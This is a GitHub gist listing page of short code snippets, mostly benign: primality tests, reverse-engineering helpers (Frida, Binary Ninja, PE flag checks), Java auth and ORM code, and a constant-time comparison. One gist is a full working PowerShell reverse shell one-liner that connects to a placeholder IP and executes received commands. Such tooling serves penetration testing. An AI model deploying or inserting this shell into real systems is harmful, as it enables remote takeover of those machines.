Skip to content

Instantly share code, notes, and snippets.

@Ayrx
Ayrx / miller_rabin.py
Created Jun 28, 2013
Python implementation of the Miller-Rabin Primality Test
View miller_rabin.py
def miller_rabin(n, k):
# Implementation uses the Miller-Rabin Primality Test
# The optimal number of rounds for this test is 40
# See http://stackoverflow.com/questions/6325576/how-many-iterations-of-rabin-miller-should-i-use-for-cryptographic-safe-primes
# for justification
# If number is even, it's a composite number
if n == 2:
@Ayrx
Ayrx / fermat.py
Created Jun 28, 2013
Python implementation of the Fermat Primality Test
View fermat.py
def fermat_test(n, k):
# Implementation uses the Fermat Primality Test
# If number is even, it's a composite number
if n == 2:
return True
if n % 2 == 0:
@Ayrx
Ayrx / powershell_reverse_shell.ps1
Created Sep 4, 2020 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
View powershell_reverse_shell.ps1
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Ayrx
Ayrx / jni_binja.h
Created May 16, 2020
JNI header with tweaks for Binary Ninja parser
View jni_binja.h
typedef long jint;
typedef int64_t jlong;
typedef signed char jbyte;
/*
* JNI Types
*/
typedef unsigned char jboolean;
typedef unsigned short jchar;
View repro.js
var m = "python2.7";
var ex = "PyTraceBack_Type";
var module = Process.getModuleByName(m)
console.log(JSON.stringify(module));
for (var e of module.enumerateExports()) {
if (e.name == ex) {
console.log(JSON.stringify(e));
}
View aslr_dep.py
import argparse
import os
import pefile
class DllCharacteristics():
def __init__(self):
self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False
self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False
self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False
@Ayrx
Ayrx / foo.c
Last active Mar 26, 2019
Frida Stalker Crash
View foo.c
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
printf("hello\n");
sleep(1);
}
}
@Ayrx
Ayrx / IntegerArrayType.java
Created Aug 6, 2013
A custom UserType that enables Hibernate to map a Java integer array to a PostgreSQL integer array.
View IntegerArrayType.java
public class IntegerArrayType implements UserType {
protected static final int SQLTYPE = java.sql.Types.ARRAY;
@Override
public Object nullSafeGet(final ResultSet rs, final String[] names, final SessionImplementor sessionImplementor, final Object owner) throws HibernateException, SQLException {
Array array = rs.getArray(names[0]);
Integer[] javaArray = (Integer[]) array.getArray();
return ArrayUtils.toPrimitive(javaArray);
}
@Ayrx
Ayrx / BcryptCredentialsMatcher.java
Created Jul 19, 2013
A hack to get Apache Shiro to work with Bcrypt.
View BcryptCredentialsMatcher.java
/**
* @author: Terry Chia (Ayrx)
*/
public class BcryptCredentialsMatcher implements CredentialsMatcher {
@Override
public boolean doCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) {
String password;
@Ayrx
Ayrx / constant_compare.py
Created Nov 29, 2013
Function for constant time string comparison.
View constant_compare.py
def is_equal(a, b):
if len(a) != len(b):
return False
result = 0
for x, y in zip(a, b):
result |= x ^ y
return result == 0